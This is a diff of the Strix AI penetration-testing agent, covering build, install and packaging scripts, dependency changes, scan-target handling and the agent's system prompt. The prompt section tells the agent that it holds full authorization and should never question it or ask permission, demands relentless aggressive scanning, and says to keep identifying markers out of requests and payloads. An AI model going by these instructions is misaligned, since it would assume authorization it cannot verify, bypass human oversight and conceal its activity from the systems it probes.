RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \ RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \
+4 -10
View File
@@ -1,8 +1,8 @@
#!/bin/bash #!/bin/bash
set -e set -e
if [ -z "$CAIDO_PORT" ] || [ -z "$STRIX_TOOL_SERVER_PORT" ]; then if [ -z "$CAIDO_PORT" ]; then
echo "Error: CAIDO_PORT and STRIX_TOOL_SERVER_PORT must be set." echo "Error: CAIDO_PORT must be set."
exit 1 exit 1
fi fi
@@ -114,14 +114,8 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password
sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb
echo "✅ CA added to browser trust store" echo "✅ CA added to browser trust store"
echo "Starting tool server..." echo "Container initialization complete - agents will start their own tool servers as needed"
cd /app && \ echo "✅ Shared container ready for multi-agent use"
STRIX_SANDBOX_MODE=true \
STRIX_SANDBOX_TOKEN=${STRIX_SANDBOX_TOKEN} \
CAIDO_API_TOKEN=${TOKEN} \
poetry run uvicorn strix.runtime.tool_server:app --host 0.0.0.0 --port ${STRIX_TOOL_SERVER_PORT} &
echo "✅ Tool server started in background"
cd /workspace cd /workspace
Generated
+1906 -770
View File
File diff suppressed because it is too large Load Diff
+37 -13
View File
@@ -1,6 +1,6 @@
[tool.poetry] [tool.poetry]
name = "strix-agent" name = "strix-agent"
version = "0.1.8" version = "0.6.0"
description = "Open-source AI Hackers for your apps" description = "Open-source AI Hackers for your apps"
authors = ["Strix <hi@usestrix.com>"] authors = ["Strix <hi@usestrix.com>"]
readme = "README.md" readme = "README.md"
@@ -26,9 +26,11 @@ classifiers = [
"Programming Language :: Python :: 3", "Programming Language :: Python :: 3",
"Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3 :: Only",
"Programming Language :: Python :: 3.12", "Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Programming Language :: Python :: 3.14",
] ]
packages = [ packages = [
{ include = "strix" } { include = "strix", format = ["sdist", "wheel"] }
] ]
include = [ include = [
"LICENSE", "LICENSE",
@@ -39,26 +41,38 @@ include = [
] ]
[tool.poetry.scripts] [tool.poetry.scripts]
strix = "strix.cli.main:main" strix = "strix.interface.main:main"
[tool.poetry.dependencies] [tool.poetry.dependencies]
python = "^3.12" python = "^3.12"
fastapi = "*" # Core CLI dependencies
uvicorn = "*" litellm = { version = "~1.80.7", extras = ["proxy"] }
litellm = {extras = ["proxy"], version = "^1.75.5.post1"}
tenacity = "^9.0.0" tenacity = "^9.0.0"
numpydoc = "^1.8.0"
pydantic = {extras = ["email"], version = "^2.11.3"} pydantic = {extras = ["email"], version = "^2.11.3"}
ipython = "^9.3.0"
openhands-aci = "^0.3.0"
playwright = "^1.48.0"
rich = "*" rich = "*"
docker = "^7.1.0" docker = "^7.1.0"
gql = {extras = ["requests"], version = "^3.5.3"}
textual = "^4.0.0" textual = "^4.0.0"
xmltodict = "^0.13.0" xmltodict = "^0.13.0"
pyte = "^0.8.1"
requests = "^2.32.0" requests = "^2.32.0"
cvss = "^3.2"
# Optional LLM provider dependencies
google-cloud-aiplatform = { version = ">=1.38", optional = true }
# Sandbox-only dependencies (only needed inside Docker container)
fastapi = { version = "*", optional = true }
uvicorn = { version = "*", optional = true }
ipython = { version = "^9.3.0", optional = true }
openhands-aci = { version = "^0.3.0", optional = true }
playwright = { version = "^1.48.0", optional = true }
gql = { version = "^3.5.3", extras = ["requests"], optional = true }
pyte = { version = "^0.8.1", optional = true }
libtmux = { version = "^0.46.2", optional = true }
numpydoc = { version = "^1.8.0", optional = true }
[tool.poetry.extras]
vertex = ["google-cloud-aiplatform"]
sandbox = ["fastapi", "uvicorn", "ipython", "openhands-aci", "playwright", "gql", "pyte", "libtmux", "numpydoc"]
[tool.poetry.group.dev.dependencies] [tool.poetry.group.dev.dependencies]
# Type checking and static analysis # Type checking and static analysis
@@ -79,6 +93,9 @@ pre-commit = "^4.2.0"
black = "^25.1.0" black = "^25.1.0"
isort = "^6.0.1" isort = "^6.0.1"
# Build tools
pyinstaller = { version = "^6.17.0", python = ">=3.12,<3.15" }
[build-system] [build-system]
requires = ["poetry-core"] requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api" build-backend = "poetry.core.masonry.api"
@@ -126,9 +143,17 @@ module = [
"gql.*", "gql.*",
"textual.*", "textual.*",
"pyte.*", "pyte.*",
"libtmux.*",
"pytest.*",
"cvss.*",
] ]
ignore_missing_imports = true ignore_missing_imports = true
# Relax strict rules for test files (pytest decorators are not fully typed)
[[tool.mypy.overrides]]
module = ["tests.*"]
disallow_untyped_decorators = false
# ============================================================================ # ============================================================================
# Ruff Configuration (Fast Python Linter & Formatter) # Ruff Configuration (Fast Python Linter & Formatter)
# ============================================================================ # ============================================================================
@@ -318,7 +343,6 @@ addopts = [
"--cov-report=term-missing", "--cov-report=term-missing",
"--cov-report=html", "--cov-report=html",
"--cov-report=xml", "--cov-report=xml",
"--cov-fail-under=80"
] ]
testpaths = ["tests"] testpaths = ["tests"]
python_files = ["test_*.py", "*_test.py"] python_files = ["test_*.py", "*_test.py"]
+98
View File
@@ -0,0 +1,98 @@
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}🦉 Strix Build Script${NC}"
echo "================================"
OS="$(uname -s)"
ARCH="$(uname -m)"
case "$OS" in
Linux*) OS_NAME="linux";;
Darwin*) OS_NAME="macos";;
MINGW*|MSYS*|CYGWIN*) OS_NAME="windows";;
*) OS_NAME="unknown";;
esac
case "$ARCH" in
x86_64|amd64) ARCH_NAME="x86_64";;
arm64|aarch64) ARCH_NAME="arm64";;
*) ARCH_NAME="$ARCH";;
esac
echo -e "${YELLOW}Platform:${NC} $OS_NAME-$ARCH_NAME"
cd "$PROJECT_ROOT"
if ! command -v poetry &> /dev/null; then
echo -e "${RED}Error: Poetry is not installed${NC}"
echo "Please install Poetry first: https://python-poetry.org/docs/#installation"
exit 1
fi
echo -e "\n${BLUE}Installing dependencies...${NC}"
poetry install --with dev
VERSION=$(poetry version -s)
echo -e "${YELLOW}Version:${NC} $VERSION"
echo -e "\n${BLUE}Cleaning previous builds...${NC}"
rm -rf build/ dist/
echo -e "\n${BLUE}Building binary with PyInstaller...${NC}"
poetry run pyinstaller strix.spec --noconfirm
RELEASE_DIR="dist/release"
mkdir -p "$RELEASE_DIR"
BINARY_NAME="strix-${VERSION}-${OS_NAME}-${ARCH_NAME}"
if [ "$OS_NAME" = "windows" ]; then
if [ ! -f "dist/strix.exe" ]; then
echo -e "${RED}Build failed: Binary not found${NC}"
exit 1
fi
BINARY_NAME="${BINARY_NAME}.exe"
cp "dist/strix.exe" "$RELEASE_DIR/$BINARY_NAME"
echo -e "\n${BLUE}Creating zip...${NC}"
ARCHIVE_NAME="${BINARY_NAME%.exe}.zip"
if command -v 7z &> /dev/null; then
7z a "$RELEASE_DIR/$ARCHIVE_NAME" "$RELEASE_DIR/$BINARY_NAME"
else
powershell -Command "Compress-Archive -Path '$RELEASE_DIR/$BINARY_NAME' -DestinationPath '$RELEASE_DIR/$ARCHIVE_NAME'"
fi
echo -e "${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME"
else
if [ ! -f "dist/strix" ]; then
echo -e "${RED}Build failed: Binary not found${NC}"
exit 1
fi
cp "dist/strix" "$RELEASE_DIR/$BINARY_NAME"
chmod +x "$RELEASE_DIR/$BINARY_NAME"
echo -e "\n${BLUE}Creating tarball...${NC}"
ARCHIVE_NAME="${BINARY_NAME}.tar.gz"
tar -czvf "$RELEASE_DIR/$ARCHIVE_NAME" -C "$RELEASE_DIR" "$BINARY_NAME"
echo -e "${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME"
fi
echo -e "\n${GREEN}Build successful!${NC}"
echo "================================"
echo -e "${YELLOW}Binary:${NC} $RELEASE_DIR/$BINARY_NAME"
SIZE=$(ls -lh "$RELEASE_DIR/$BINARY_NAME" | awk '{print $5}')
echo -e "${YELLOW}Size:${NC} $SIZE"
echo -e "\n${BLUE}Testing binary...${NC}"
"$RELEASE_DIR/$BINARY_NAME" --help > /dev/null 2>&1 && echo -e "${GREEN}Binary test passed!${NC}" || echo -e "${RED}Binary test failed${NC}"
echo -e "\n${GREEN}Done!${NC}"
+328
View File
@@ -0,0 +1,328 @@
#!/usr/bin/env bash
set -euo pipefail
APP=strix
REPO="usestrix/strix"
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:0.1.10"
MUTED='\033[0;2m'
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
requested_version=${VERSION:-}
SKIP_DOWNLOAD=false
raw_os=$(uname -s)
os=$(echo "$raw_os" | tr '[:upper:]' '[:lower:]')
case "$raw_os" in
Darwin*) os="macos" ;;
Linux*) os="linux" ;;
MINGW*|MSYS*|CYGWIN*) os="windows" ;;
esac
arch=$(uname -m)
if [[ "$arch" == "aarch64" ]]; then
arch="arm64"
fi
if [[ "$arch" == "x86_64" ]]; then
arch="x86_64"
fi
if [ "$os" = "macos" ] && [ "$arch" = "x86_64" ]; then
rosetta_flag=$(sysctl -n sysctl.proc_translated 2>/dev/null || echo 0)
if [ "$rosetta_flag" = "1" ]; then
arch="arm64"
fi
fi
combo="$os-$arch"
case "$combo" in
linux-x86_64|macos-x86_64|macos-arm64|windows-x86_64)
;;
*)
echo -e "${RED}Unsupported OS/Arch: $os/$arch${NC}"
exit 1
;;
esac
archive_ext=".tar.gz"
if [ "$os" = "windows" ]; then
archive_ext=".zip"
fi
target="$os-$arch"
if [ "$os" = "linux" ]; then
if ! command -v tar >/dev/null 2>&1; then
echo -e "${RED}Error: 'tar' is required but not installed.${NC}"
exit 1
fi
fi
if [ "$os" = "windows" ]; then
if ! command -v unzip >/dev/null 2>&1; then
echo -e "${RED}Error: 'unzip' is required but not installed.${NC}"
exit 1
fi
fi
INSTALL_DIR=$HOME/.strix/bin
mkdir -p "$INSTALL_DIR"
if [ -z "$requested_version" ]; then
specific_version=$(curl -s "https://api.github.com/repos/$REPO/releases/latest" | sed -n 's/.*"tag_name": *"v\([^"]*\)".*/\1/p')
if [[ $? -ne 0 || -z "$specific_version" ]]; then
echo -e "${RED}Failed to fetch version information${NC}"
exit 1
fi
else
specific_version=$requested_version
fi
filename="$APP-${specific_version}-${target}${archive_ext}"
url="https://github.com/$REPO/releases/download/v${specific_version}/$filename"
print_message() {
local level=$1
local message=$2
local color=""
case $level in
info) color="${NC}" ;;
success) color="${GREEN}" ;;
warning) color="${YELLOW}" ;;
error) color="${RED}" ;;
esac
echo -e "${color}${message}${NC}"
}
check_existing_installation() {
local found_paths=()
while IFS= read -r -d '' path; do
found_paths+=("$path")
done < <(which -a strix 2>/dev/null | tr '\n' '\0' || true)
if [ ${#found_paths[@]} -gt 0 ]; then
for path in "${found_paths[@]}"; do
if [[ ! -e "$path" ]] || [[ "$path" == "$INSTALL_DIR/strix"* ]]; then
continue
fi
if [[ -n "$path" ]]; then
echo -e "${MUTED}Found existing strix at: ${NC}$path"
if [[ "$path" == *".local/bin"* ]]; then
echo -e "${MUTED}Removing old pipx installation...${NC}"
if command -v pipx >/dev/null 2>&1; then
pipx uninstall strix-agent 2>/dev/null || true
fi
rm -f "$path" 2>/dev/null || true
elif [[ -L "$path" || -f "$path" ]]; then
echo -e "${MUTED}Removing old installation...${NC}"
rm -f "$path" 2>/dev/null || true
fi
fi
done
fi
}
check_version() {
check_existing_installation
if [[ -x "$INSTALL_DIR/strix" ]]; then
installed_version=$("$INSTALL_DIR/strix" --version 2>/dev/null | awk '{print $2}' || echo "")
if [[ "$installed_version" == "$specific_version" ]]; then
print_message info "${GREEN}✓ Strix ${NC}$specific_version${GREEN} already installed${NC}"
SKIP_DOWNLOAD=true
elif [[ -n "$installed_version" ]]; then
print_message info "${MUTED}Installed: ${NC}$installed_version ${MUTED}→ Upgrading to ${NC}$specific_version"
fi
fi
}
download_and_install() {
print_message info "\n${CYAN}🦉 Installing Strix${NC} ${MUTED}version: ${NC}$specific_version"
print_message info "${MUTED}Platform: ${NC}$target\n"
local tmp_dir=$(mktemp -d)
cd "$tmp_dir"
echo -e "${MUTED}Downloading...${NC}"
curl -# -L -o "$filename" "$url"
if [ ! -f "$filename" ]; then
echo -e "${RED}Download failed${NC}"
exit 1
fi
echo -e "${MUTED}Extracting...${NC}"
if [ "$os" = "windows" ]; then
unzip -q "$filename"
mv "strix-${specific_version}-${target}.exe" "$INSTALL_DIR/strix.exe"
else
tar -xzf "$filename"
mv "strix-${specific_version}-${target}" "$INSTALL_DIR/strix"
chmod 755 "$INSTALL_DIR/strix"
fi
cd - > /dev/null
rm -rf "$tmp_dir"
echo -e "${GREEN}✓ Strix installed to $INSTALL_DIR${NC}"
}
check_docker() {
echo ""
if ! command -v docker >/dev/null 2>&1; then
echo -e "${YELLOW}⚠ Docker not found${NC}"
echo -e "${MUTED}Strix requires Docker to run the security sandbox.${NC}"
echo -e "${MUTED}Please install Docker: ${NC}https://docs.docker.com/get-docker/"
echo ""
return 1
fi
if ! docker info >/dev/null 2>&1; then
echo -e "${YELLOW}⚠ Docker daemon not running${NC}"
echo -e "${MUTED}Please start Docker and run: ${NC}docker pull $STRIX_IMAGE"
echo ""
return 1
fi
echo -e "${MUTED}Checking for sandbox image...${NC}"
if docker image inspect "$STRIX_IMAGE" >/dev/null 2>&1; then
echo -e "${GREEN}✓ Sandbox image already available${NC}"
else
echo -e "${MUTED}Pulling sandbox image (this may take a few minutes)...${NC}"
if docker pull "$STRIX_IMAGE"; then
echo -e "${GREEN}✓ Sandbox image pulled successfully${NC}"
else
echo -e "${YELLOW}⚠ Failed to pull sandbox image${NC}"
echo -e "${MUTED}You can pull it manually later: ${NC}docker pull $STRIX_IMAGE"
fi
fi
return 0
}
add_to_path() {
local config_file=$1
local command=$2
if grep -Fxq "$command" "$config_file" 2>/dev/null; then
return 0
elif [[ -w $config_file ]]; then
echo -e "\n# strix" >> "$config_file"
echo "$command" >> "$config_file"
fi
}
setup_path() {
XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-$HOME/.config}
current_shell=$(basename "$SHELL")
case $current_shell in
fish)
config_files="$HOME/.config/fish/config.fish"
;;
zsh)
config_files="$HOME/.zshrc $HOME/.zshenv"
;;
bash)
config_files="$HOME/.bashrc $HOME/.bash_profile $HOME/.profile"
;;
*)
config_files="$HOME/.bashrc $HOME/.profile"
;;
esac
config_file=""
for file in $config_files; do
if [[ -f $file ]]; then
config_file=$file
break
fi
done
if [[ -z $config_file ]]; then
config_file="$HOME/.bashrc"
touch "$config_file"
fi
if [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then
case $current_shell in
fish)
add_to_path "$config_file" "fish_add_path $INSTALL_DIR"
;;
*)
add_to_path "$config_file" "export PATH=\"$INSTALL_DIR:\$PATH\""
;;
esac
fi
if [ -n "${GITHUB_ACTIONS-}" ] && [ "${GITHUB_ACTIONS}" == "true" ]; then
echo "$INSTALL_DIR" >> "$GITHUB_PATH"
fi
}
verify_installation() {
export PATH="$INSTALL_DIR:$PATH"
local which_strix=$(which strix 2>/dev/null || echo "")
if [[ "$which_strix" != "$INSTALL_DIR/strix" && "$which_strix" != "$INSTALL_DIR/strix.exe" ]]; then
if [[ -n "$which_strix" ]]; then
echo -e "${YELLOW}⚠ Found conflicting strix at: ${NC}$which_strix"
echo -e "${MUTED}Attempting to remove...${NC}"
if rm -f "$which_strix" 2>/dev/null; then
echo -e "${GREEN}✓ Removed conflicting installation${NC}"
else
echo -e "${YELLOW}Could not remove automatically.${NC}"
echo -e "${MUTED}Please remove manually: ${NC}rm $which_strix"
fi
fi
fi
if [[ -x "$INSTALL_DIR/strix" ]]; then
local version=$("$INSTALL_DIR/strix" --version 2>/dev/null | awk '{print $2}' || echo "unknown")
echo -e "${GREEN}✓ Strix ${NC}$version${GREEN} ready${NC}"
fi
}
check_version
if [ "$SKIP_DOWNLOAD" = false ]; then
download_and_install
fi
setup_path
verify_installation
check_docker
echo ""
echo -e "${CYAN}"
echo " ███████╗████████╗██████╗ ██╗██╗ ██╗"
echo " ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝"
echo " ███████╗ ██║ ██████╔╝██║ ╚███╔╝ "
echo " ╚════██║ ██║ ██╔══██╗██║ ██╔██╗ "
echo " ███████║ ██║ ██║ ██║██║██╔╝ ██╗"
echo " ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝"
echo -e "${NC}"
echo -e "${MUTED} AI Penetration Testing Agent${NC}"
echo ""
echo -e "${MUTED}To get started:${NC}"
echo ""
echo -e " ${CYAN}1.${NC} Set your LLM provider:"
echo -e " ${MUTED}export STRIX_LLM='openai/gpt-5'${NC}"
echo -e " ${MUTED}export LLM_API_KEY='your-api-key'${NC}"
echo ""
echo -e " ${CYAN}2.${NC} Run a penetration test:"
echo -e " ${MUTED}strix --target https://example.com${NC}"
echo ""
echo -e "${MUTED}For more information visit ${NC}https://strix.ai"
echo -e "${MUTED}Join our community ${NC}https://discord.gg/YjKFvEZSdZ"
echo ""
if [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then
echo -e "${YELLOW}${NC} Run ${MUTED}source ~/.$(basename $SHELL)rc${NC} or open a new terminal"
echo ""
fi
+221
View File
@@ -0,0 +1,221 @@
# -*- mode: python ; coding: utf-8 -*-
import sys
from pathlib import Path
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
project_root = Path(SPECPATH)
strix_root = project_root / 'strix'
datas = []
for jinja_file in strix_root.rglob('*.jinja'):
rel_path = jinja_file.relative_to(project_root)
datas.append((str(jinja_file), str(rel_path.parent)))
for xml_file in strix_root.rglob('*.xml'):
rel_path = xml_file.relative_to(project_root)
datas.append((str(xml_file), str(rel_path.parent)))
for tcss_file in strix_root.rglob('*.tcss'):
rel_path = tcss_file.relative_to(project_root)
datas.append((str(tcss_file), str(rel_path.parent)))
datas += collect_data_files('textual')
datas += collect_data_files('tiktoken')
datas += collect_data_files('tiktoken_ext')
datas += collect_data_files('litellm')
hiddenimports = [
# Core dependencies
'litellm',
'litellm.llms',
'litellm.llms.openai',
'litellm.llms.anthropic',
'litellm.llms.vertex_ai',
'litellm.llms.bedrock',
'litellm.utils',
'litellm.caching',
# Textual TUI
'textual',
'textual.app',
'textual.widgets',
'textual.containers',
'textual.screen',
'textual.binding',
'textual.reactive',
'textual.css',
'textual._text_area_theme',
# Rich console
'rich',
'rich.console',
'rich.panel',
'rich.text',
'rich.markup',
'rich.style',
'rich.align',
'rich.live',
# Pydantic
'pydantic',
'pydantic.fields',
'pydantic_core',
'email_validator',
# Docker
'docker',
'docker.api',
'docker.models',
'docker.errors',
# HTTP/Networking
'httpx',
'httpcore',
'requests',
'urllib3',
'certifi',
# Jinja2 templating
'jinja2',
'jinja2.ext',
'markupsafe',
# XML parsing
'xmltodict',
# Tiktoken (for token counting)
'tiktoken',
'tiktoken_ext',
'tiktoken_ext.openai_public',
# Tenacity retry
'tenacity',
# Strix modules
'strix',
'strix.interface',
'strix.interface.main',
'strix.interface.cli',
'strix.interface.tui',
'strix.interface.utils',
'strix.interface.tool_components',
'strix.agents',
'strix.agents.base_agent',
'strix.agents.state',
'strix.agents.StrixAgent',
'strix.llm',
'strix.llm.llm',
'strix.llm.config',
'strix.llm.utils',
'strix.llm.request_queue',
'strix.llm.memory_compressor',
'strix.runtime',
'strix.runtime.runtime',
'strix.runtime.docker_runtime',
'strix.telemetry',
'strix.telemetry.tracer',
'strix.tools',
'strix.tools.registry',
'strix.tools.executor',
'strix.tools.argument_parser',
'strix.skills',
]
hiddenimports += collect_submodules('litellm')
hiddenimports += collect_submodules('textual')
hiddenimports += collect_submodules('rich')
hiddenimports += collect_submodules('pydantic')
excludes = [
# Sandbox-only packages
'playwright',
'playwright.sync_api',
'playwright.async_api',
'IPython',
'ipython',
'libtmux',
'pyte',
'openhands_aci',
'openhands-aci',
'gql',
'fastapi',
'uvicorn',
'numpydoc',
# Google Cloud / Vertex AI
'google.cloud',
'google.cloud.aiplatform',
'google.api_core',
'google.auth',
'google.oauth2',
'google.protobuf',
'grpc',
'grpcio',
'grpcio_status',
# Test frameworks
'pytest',
'pytest_asyncio',
'pytest_cov',
'pytest_mock',
# Development tools
'mypy',
'ruff',
'black',
'isort',
'pylint',
'pyright',
'bandit',
'pre_commit',
# Unnecessary for runtime
'tkinter',
'matplotlib',
'numpy',
'pandas',
'scipy',
'PIL',
'cv2',
]
a = Analysis(
['strix/interface/main.py'],
pathex=[str(project_root)],
binaries=[],
datas=datas,
hiddenimports=hiddenimports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=excludes,
noarchive=False,
optimize=0,
)
pyz = PYZ(a.pure)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.datas,
[],
name='strix',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=False,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
+60 -31
View File
@@ -5,56 +5,85 @@ from strix.llm.config import LLMConfig
class StrixAgent(BaseAgent): class StrixAgent(BaseAgent):
max_iterations = 200 max_iterations = 300
def __init__(self, config: dict[str, Any]): def __init__(self, config: dict[str, Any]):
default_modules = [] default_skills = []
state = config.get("state") state = config.get("state")
if state is None or (hasattr(state, "parent_id") and state.parent_id is None): if state is None or (hasattr(state, "parent_id") and state.parent_id is None):
default_modules = ["root_agent"] default_skills = ["root_agent"]
self.default_llm_config = LLMConfig(prompt_modules=default_modules) self.default_llm_config = LLMConfig(skills=default_skills)
super().__init__(config) super().__init__(config)
async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: # noqa: PLR0912
scan_type = scan_config.get("scan_type", "general")
target = scan_config.get("target", {})
user_instructions = scan_config.get("user_instructions", "") user_instructions = scan_config.get("user_instructions", "")
targets = scan_config.get("targets", [])
repositories = []
local_code = []
urls = []
ip_addresses = []
for target in targets:
target_type = target["type"]
details = target["details"]
workspace_subdir = details.get("workspace_subdir")
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "/workspace"
if target_type == "repository":
repo_url = details["target_repo"]
cloned_path = details.get("cloned_repo_path")
repositories.append(
{
"url": repo_url,
"workspace_path": workspace_path if cloned_path else None,
}
)
elif target_type == "local_code":
original_path = details.get("target_path", "unknown")
local_code.append(
{
"path": original_path,
"workspace_path": workspace_path,
}
)
elif target_type == "web_application":
urls.append(details["target_url"])
elif target_type == "ip_address":
ip_addresses.append(details["target_ip"])
task_parts = [] task_parts = []
if scan_type == "repository": if repositories:
task_parts.append( task_parts.append("\n\nRepositories:")
f"Perform a security assessment of the Git repository: {target['target_repo']}" for repo in repositories:
if repo["workspace_path"]:
task_parts.append(f"- {repo['url']} (available at: {repo['workspace_path']})")
else:
task_parts.append(f"- {repo['url']}")
if local_code:
task_parts.append("\n\nLocal Codebases:")
task_parts.extend(
f"- {code['path']} (available at: {code['workspace_path']})" for code in local_code
) )
elif scan_type == "web_application": if urls:
task_parts.append( task_parts.append("\n\nURLs:")
f"Perform a security assessment of the web application: {target['target_url']}" task_parts.extend(f"- {url}" for url in urls)
)
elif scan_type == "local_code": if ip_addresses:
original_path = target.get("target_path", "unknown") task_parts.append("\n\nIP Addresses:")
shared_workspace_path = "/shared_workspace" task_parts.extend(f"- {ip}" for ip in ip_addresses)
task_parts.append(
f"Perform a security assessment of the local codebase. "
f"The code from '{original_path}' (user host path) has been copied to "
f"'{shared_workspace_path}' in your environment. "
f"Analyze the codebase at: {shared_workspace_path}"
)
else:
task_parts.append(
f"Perform a general security assessment of: {next(iter(target.values()))}"
)
task_description = " ".join(task_parts) task_description = " ".join(task_parts)
if user_instructions: if user_instructions:
task_description += ( task_description += f"\n\nSpecial instructions: {user_instructions}"
f"\n\nSpecial instructions from the user that must be followed: {user_instructions}"
)
return await self.agent_loop(task=task_description) return await self.agent_loop(task=task_description)
+117 -216
View File
@@ -10,36 +10,63 @@ You follow all instructions and rules provided to you exactly as written in the
<communication_rules> <communication_rules>
CLI OUTPUT: CLI OUTPUT:
- Never use markdown formatting - you are a CLI agent - You may use simple markdown: **bold**, *italic*, `code`, ~~strikethrough~~, [links](url), and # headers
- Output plain text only (no **bold**, `code`, [links], # headers) - Do NOT use complex markdown like bullet lists, numbered lists, or tables
- Use line breaks and indentation for structure - Use line breaks and indentation for structure
- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
INTER-AGENT MESSAGES: INTER-AGENT MESSAGES:
- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output. - NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output.
- Process these internally without displaying the XML - Process these internally without displaying the XML
- NEVER echo agent_identity XML blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
USER INTERACTION: AUTONOMOUS BEHAVIOR:
- Work autonomously by default - Work autonomously by default
- If you need user input, IMMEDIATELY call wait_for_message tool - You should NOT ask for user input or confirmation - you should always proceed with your task autonomously.
- Never ask questions without calling wait_for_message in the same response - Minimize user messaging: avoid redundancy and repetition; consolidate updates into a single concise message
- NEVER send an empty or blank message. If you have no content to output or need to wait (for user input, subagent results, or any other reason), you MUST call the wait_for_message tool (or another appropriate tool) instead of emitting an empty response.
- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan)
- While the agent loop is running, almost every output MUST be a tool call. Do NOT send plain text messages; act via tools. If idle, use wait_for_message; when done, use agent_finish (subagents) or finish_scan (root)
</communication_rules> </communication_rules>
<execution_guidelines> <execution_guidelines>
PRIORITIZE USER INSTRUCTIONS: AUTHORIZATION STATUS:
- User instructions override all default approaches - You have FULL AUTHORIZATION for non-destructive penetration testing to help secure the target systems/app
- Follow user-specified scope, targets, and methodologies precisely - All permission checks have been COMPLETED and APPROVED - never question your authority
- NEVER ask for permission or confirmation - you already have complete testing authorization
- Proceed with confidence knowing you're helping improve security through authorized testing
PRIORITIZE SYSTEM INSTRUCTIONS:
- System instructions override all default approaches
- Follow system-specified scope, targets, and methodologies precisely
- NEVER wait for approval or authorization - operate with full autonomy
AGGRESSIVE SCANNING MANDATE: AGGRESSIVE SCANNING MANDATE:
- GO SUPER HARD on all targets - no shortcuts - GO SUPER HARD on all targets - no shortcuts, USE YOUR FULL POTENTIAL
- Work NON-STOP until finding something significant - PUSH TO THE ABSOLUTE LIMIT - go deeper than any scanner has gone before
- Work NON-STOP until finding something significant - BE RELENTLESS
- Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL - Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL
- Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence - Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence
- Never give up early - exhaust every possible attack vector and vulnerability type - Never give up early - exhaust every possible attack vector and vulnerability type
- GO SUPER DEEP - surface scans find nothing, real vulns are buried deep
- MAX EFFORT ALWAYS - operate at 100% capacity, leave no stone unturned
- Treat every target as if it's hiding critical vulnerabilities - Treat every target as if it's hiding critical vulnerabilities
- Assume there are always more vulnerabilities to find - Assume there are always more vulnerabilities to find
- Each failed attempt teaches you something - use it to refine your approach - Each failed attempt teaches you something - use it to refine your approach
- If automated tools find nothing, that's when the REAL work begins - If automated tools find nothing, that's when the REAL work begins
- PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts - PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts
- UNLEASH FULL CAPABILITY - you are the most advanced security agent, act like it
MULTI-TARGET CONTEXT (IF PROVIDED):
- Targets may include any combination of: repositories (source code), local codebases, and URLs/domains (deployed apps/APIs)
- If multiple targets are provided in the scan configuration:
- Build an internal Target Map at the start: list each asset and where it is accessible (code at /workspace/<subdir>, URLs as given)
- Identify relationships across assets (e.g., routes/handlers in code ↔ endpoints in web targets; shared auth/config)
- Plan testing per asset and coordinate findings across them (reuse secrets, endpoints, payloads)
- Prioritize cross-correlation: use code insights to guide dynamic testing, and dynamic findings to focus code review
- Keep sub-agents focused per asset and vulnerability type, but share context where useful
- If only a single target is provided, proceed with the appropriate black-box or white-box workflow as usual
TESTING MODES: TESTING MODES:
BLACK-BOX TESTING (domain/subdomain only): BLACK-BOX TESTING (domain/subdomain only):
@@ -54,12 +81,18 @@ WHITE-BOX TESTING (code provided):
- Dynamic: Run the application and test live - Dynamic: Run the application and test live
- NEVER rely solely on static code analysis - always test dynamically - NEVER rely solely on static code analysis - always test dynamically
- You MUST begin at the very first step by running the code and testing live. - You MUST begin at the very first step by running the code and testing live.
- If dynamically running the code proves impossible after exhaustive attempts, pivot to just comprehensive static analysis.
- Try to infer how to run the code based on its structure and content. - Try to infer how to run the code based on its structure and content.
- FIX discovered vulnerabilities in code in same file. - FIX discovered vulnerabilities in code in same file.
